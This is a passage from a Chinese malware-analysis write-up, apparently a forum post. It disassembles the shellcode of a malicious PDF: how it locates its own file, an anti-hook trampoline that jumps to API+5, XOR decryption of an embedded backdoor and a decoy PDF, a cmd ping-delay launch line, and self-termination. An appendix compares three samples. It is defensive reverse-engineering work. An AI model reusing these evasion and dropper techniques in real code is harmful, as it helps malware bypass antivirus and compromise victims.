其实就是做了三件事：申请缓冲区、拼接目标路径、为接下来做准备。注意 SetCurrentDirectoryA 这句很关键——后面 CreateFileA 用的是裸文件名（不带路径），能落进 Temp 全靠它切了工作目录；而完整路径 `Temp\Winword.exe` 是给后面 WinExec 用的，两份都备齐。

### 6.5 句柄海选与布局参数

![图片描述](upload/attach/202610/1036721_PJQKSGBFYUK5XUS.webp)

```
0x261  xor ecx, ecx
0x263  mov [ebp+75h], ecx        ; 句柄计数清零
0x266  add dword [ebp+75h], 4    ; ★ 步长 4 递增
0x26C  push ecx(0)
0x26D  push [ebp+75h]
0x270  call [ebp+8]              ; GetFileSize(h, 0)
0x273  mov [ebp+89h], eax        ; 文件大小存起来
0x279  cmp eax, 186A0h
0x27E  jb  short loc_266         ; < 0x186A0 换下一个
0x280～0x28C  SetFilePointer(h, 0x13880, 0, BEGIN)   ; [ebp+20h]
0x28F～0x2A8  ReadFile(h, &[ebp+8Dh], 4, &[ebp+0A1h], 0)  ; [ebp+1Ch]
0x2AB  mov ecx, [ebp+89h]        ; 文件总大小
0x2B1  cmp [ebp+8Dh], ecx        ; 0x13880 处的 4 字节 == 文件大小？
0x2B7  jnz short loc_266         ; 不等 → 换下一个
```

再往下看是句柄筛选，跟名企基本一样，主要差别是：

- **步长 4 递增**（`add [ebp+75h], 4`），不是名企的 +1。句柄值在 NT 系里本来就是 4 的倍数，步长 4 把枚举量缩到 1/4；
- **粗筛阈值 0x186A0**（约 100K）：小于它的直接跳过。这个数不是随便拍的——后面要在 0x13880 处读指纹，文件必须至少比 0x13880 大，阈值 > 0x13880 保证精验位置有效；
- **指纹是文件自己的大小**：在 0x13880 处读 4 字节，**和 GetFileSize 拿到的总大小比对**，相等即认领。打包时作者把文件总大小写进了 0x13880——比名企的双魔数更省，魔数是现成数据不用额外造。

![图片描述](upload/attach/202610/1036721_U8ATH4TPGBAKH22.webp)

总流程跟名企样本差不多：

```
0x2BD  push 13890h
0x2C5  call [ebp+20h] ; SetFilePointer(h, 0x13890, ...)
0x2D7  lea eax, [ebp+85h] / ReadFile 4 字节   ; size1 → [ebp+85h]
0x2F3  lea eax, [ebp+99h] / ReadFile 4 字节   ; size2 → [ebp+99h]（连着读，不用重新 seek）
```

内嵌数据的布局参数读出来，两个文件的大小。内嵌数据布局就此完整：

```
0x13880  [文件总大小]（指纹）
0x13890  [size1]
0x13894  [size2]
0x138A0  [file1: Winword.exe][file2: Adobe.pdf]
```

这三处 ReadFile（段内这两次，加上海选读指纹那次）都是 `inc ecx; shl ecx, 2` 现造出的 4（读 4 字节），参数里的 `[ebp+0A1h]` 是字节数回执。注意 file1/file2 是加密存放的，解密在后面，两处密钥配方还不一样。

### 6.6 跳板 CreateFileA 建文件1

![图片描述](upload/attach/202610/1036721_DR4SXGFCWG9MW97.webp)

```
0x300  push ebp                  ; ebp 借给跳板用
0x301  push 0                    ; hTemplateFile
0x303  push 80h                  ; FILE_ATTRIBUTE_NORMAL
0x308  push 2                    ; CREATE_ALWAYS
0x30A  push 0                    ; lpSecurityAttributes
0x30C  push 1                    ; FILE_SHARE_READ
0x30E  push 40000000h            ; GENERIC_WRITE
0x313  lea eax, [ebp+34h]        ; "Winword.exe"（裸文件名，靠 6.4 切的 Temp 目录）
0x316  push eax
0x317  add dword ptr [ebp+4], 5  ; ★ 函数指针表里的 CreateFileA 地址就地 +5
0x327  call sub_31D              ; 走跳板
0x32C  pop ebp                   ; 恢复 ebp = 数据区
0x32D  cmp eax, 0FFFFFFFFh
0x330  jz  loc_458               ; 失败 → TerminateProcess 自杀
0x336  mov [ebp+79h], eax        ; hFile 存起来

sub_31D:                         ; 跳板本体，总共 4 句
0x31D  mov esi, ebp              ; 接住数据区指针
0x31F  mov edi, edi              ; ┐
0x321  push ebp                  ; ├ 自演 5 字节标准序言
0x322  mov ebp, esp              ; ┘
0x324  jmp dword ptr [esi+4]     ; 跳进 CreateFileA+5
```

这一段其实是反 API 钩跳板：假设目标 API 被 hook 且知道目标 API 前 5 个字节是什么，先 call 自己的跳板函数，里面模拟 API 的前 5 个字节，然后跳到目标 API 地址 +5 的位置——假设目标 API 被杀软 hook 了前 5 字节，那么刚好可以绕过，达到创建文件的目的。Win7 下 kernel32 这些 API 的序言恰好固定为 `mov edi,edi / push ebp / mov ebp,esp` 这 5 字节，跳板重演一遍效果等价；局限也在这——赌死 Win7 序言固定，换系统就演错，和 ROP 一样是放弃兼容换对抗的硬编码。

### 6.7 file1 分块解密与运行

![图片描述](upload/attach/202610/1036721_VXDPERFCURWDXZY.webp)

这一段主要是解密 file1 然后运行：

```
0x33D  push 138A0h
0x345  call [ebp+20h]        ; SetFilePointer(h, 0x138A0)：内嵌数据体起点
0x348  push 400h / push 40h
0x34F  call [ebp+14h]        ; GlobalAlloc(GPTR, 0x400) → [ebp+81h]：1KB 中转
0x358  mov eax, [ebp+85h]    ; size1
0x35E  mov [ebp+9Dh], eax    ; 剩余计数
0x364  call sub_4E4          ; 分块解密写入
```

![图片描述](upload/attach/202610/1036721_HU6RVT7KTDGCQYT.webp)

![图片描述](upload/attach/202610/1036721_XW8HNNV3CF29R39.webp)

```
loc_4EE:
0x4F7  cmp [ebp+9Dh], 400h
0x501  jg  → push 400h        ; 本轮读 min(0x400, 剩余)
0x519  call [ebp+1Ch]         ; ReadFile → 1KB 缓冲
0x51E  mov cx, [ebp+0A1h]     ; 实际读到的字节数
0x52D  mov bl, 0ACh           ; ★ 每块密钥重置为 0xAC
loc_52F:
0x52F  lodsb
0x530  xor al, bl             ; ^ (0xAC + 块内位置)
0x532  xor al, 28h            ; ^ 0x28
0x534  stosb
0x535  inc bl
0x537  loop loc_52F           ; 块内逐字节解密
0x552  call [ebp+30h]         ; WriteFile 写入 Winword.exe
0x55B  sub [ebp+9Dh], edx     ; 剩余 -= 已写
0x568  jg  loc_4EE            ; 下一块
0x56D  call [ebp+0]           ; CloseHandle
```

这个算法函数主要就是 **`b ^= (0xAC + i&0xFF) ^ 0x28`，每块开头 bl 重置 0xAC**，按 0x400 分块，因为中转缓冲就 1KB。顺带一句：块长 0x400 是 256 的倍数，"每块重置密钥"和"全程连续密钥"数学上其实等价，重置写法纯粹是和分块循环配套。

```
0x369  push ebp / push 0(SW_HIDE) / push [ebp+91h]   ; Temp\Winword.exe 完整路径
0x373  add dword ptr [ebp+2Ch], 5   ; WinExec 地址 +5（同样只加这一次）
0x383  call sub_379                 ; 同款跳板：jmp [esi+2Ch] 进 WinExec+5
0x388  pop ebp
```

解密写完，立刻把木马跑起来。这里用 6.4 拼好的完整路径（WinExec 要给全路径），CreateFileA 用裸文件名、WinExec 用完整路径，6.4 准备两份的原因在这兑现。

### 6.8 建文件2 与 file2 解密

![图片描述](upload/attach/202610/1036721_BXDXR9WV8NAQGRC.webp)

参数和 6.6 一模一样（GENERIC_WRITE / CREATE_ALWAYS），只是文件名换成 [ebp+40h] 的 "Adobe.pdf"——其实是**建第二个文件**（不是运行）。注意这里没有再来一句 `add [ebp+4], 5`——6.6 的 0x317 已经把表里的 CreateFileA 地址永久改成 +5，第二个跳板 sub_3A2 直接捡现成的。失败同样跳 loc_458 自杀。

![图片描述](upload/attach/202610/1036721_8P5VXNPWN8ZHTGE.webp)

![图片描述](upload/attach/202610/1036721_G7EQ2TJKBF93ZK6.webp)

```
0x3BE  push [ebp+99h]          ; size2
0x3C4  push 40h
0x3C6  call [ebp+14h]          ; GlobalAlloc(GPTR, size2) → [ebp+95h]
0x3D1  add eax, 138A0h
0x3D6  add eax, [ebp+85h]      ; 0x138A0 + size1 = file2 起点
0x3E4  call [ebp+20h]          ; SetFilePointer
0x400  call [ebp+1Ch]          ; ReadFile 全量一次读入
0x403  mov ecx, [ebp+0A1h]     ; 字节数
0x409  mov esi, [ebp+95h] / mov edi, esi
0x411  mov bl, 0CAh            ; ★ file2 密钥起点 0xCA
loc_413:
0x413  lodsb
0x414  xor al, bl              ; ^ (0xCA + i)
0x416  xor al, 28h             ; ^ 0x28
0x418  stosb
0x419  inc bl
0x41B  loop loc_413            ; 一次性连续解完
0x436  call [ebp+30h]          ; WriteFile 写入 Adobe.pdf
0x43C  call [ebp+0]            ; CloseHandle
```

和 file1 对比：file2 是 GlobalAlloc(size2) 一次读全量、**密钥全程连续滚动**（0xCA 起步不重置）。两个文件用的是同构配方（`b ^= key ^ 0x28`，key 逐字节递增）但起点不同、节奏不同——0xAC 分块 vs 0xCA 连续，打包工具显然对两个文件各调了一次参数。

### 6.9 收尾：开诱导 PDF、自杀

![图片描述](upload/attach/202610/1036721_E3HGKB8XENJZEPZ.webp)

```
0x43F  push ebp / push 0       ; SW_HIDE
0x442  lea eax, [ebp+4Ah]      ; "cmd.exe /c ping -n 1 127.0.0.1 & Adobe.pdf"
0x445  push eax
0x452  call sub_448            ; 跳板：jmp [esi+2Ch] → WinExec+5
0x457  pop ebp
loc_458:
0x458  push 0 / push 0FFFFFFFFh
0x45C  call [ebp+28h]          ; TerminateProcess(-1, 0)
```

- **`cmd /c ping -n 1 127.0.0.1 & Adobe.pdf`**：先 ping 本机一次（约 1 秒，给 Winword.exe 一点落地时间，拿 ping 当延时用，不调 Sleep API），然后 `&` 顺序执行打开 file2。裸文件名有效是因为 cmd 继承了进程当前目录（6.4 切的 Temp 到这还在生效）；
- **WinExec 走跳板**：[ebp+2Ch] 在 6.7 已经 +5，sub_448 直接用；
- **TerminateProcess(-1, 0)**：-1 是当前进程伪句柄，自杀。loc_458 同时是两个 CreateFileA 失败分支的出口——成功是功成身退，失败是体面自杀。

总结整条链：

```
定位数据区 → 13字符判零认 kernel32 → ror11 解析 13 个 API
→ 1KB 缓冲 + GetTempPathA + 切工作目录 + 拼 Temp\Winword.exe
→ 句柄海选第三版：步长4、≥0x186A0、0x13880 处读文件大小当指纹
→ 读 size1/size2（0x13890/0x13894）
→ 跳板 CreateFileA 建 Winword.exe（API+5 绕 inline hook）
→ file1 分块解密（0x400/块，b^=(0xAC+i)^0x28）→ 跳板 WinExec 跑后门
→ 跳板 CreateFileA 建 Adobe.pdf
→ file2 全量解密（0xCA 起步连续）→ 写入
→ cmd ping 延时 + 开诱导 PDF → TerminateProcess 自杀
```

### 6.10 释放物分析

- **Winword.exe（后门，8192 字节）**：完整编译型木马
- **Adobe.pdf（诱导）**：越南语"10 年级生物补考"试卷

功能结论：本样本为三个样本中对抗技术最全的一个——官方加密免杀、双版本 ROP 适配、反 API 钩跳板、注入系统进程、Active Setup 持久化、C2 回连，是完整的"漏洞利用 → 驻留 → 远控"攻击链。

---

## 附录：三个样本对比总结

```
          msf.pdf                     名企.pdf                 Meeting Agenda.pdf
漏洞触发  SING + 同一条 ROP 链(4A80)   同左                     同左 + Reader 8 备链(4A82)
免杀      %uXXXX 转义、shikata        双层 Filter、XOR+对调     PDF 官方 AES 加密
shellcode MSF 模板                    手工(call 夹数据表)       手工(jmp 跳数据区)
找回自身  不需要(联网)                 句柄海选 + PdPD 魔数      句柄海选 + 文件大小指纹
功能      reverse_tcp 下载二阶段       释放炮灰之王木马驻留      释放后门注入 explorer + C2
收尾      收 meterpreter              覆盖原文件 + 打开干净 PDF 打开诱导 PDF + 自杀
```

传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！！

最后于 5天前被0xL编辑，原因：修改格式更新开头介绍

#漏洞分析 #Windows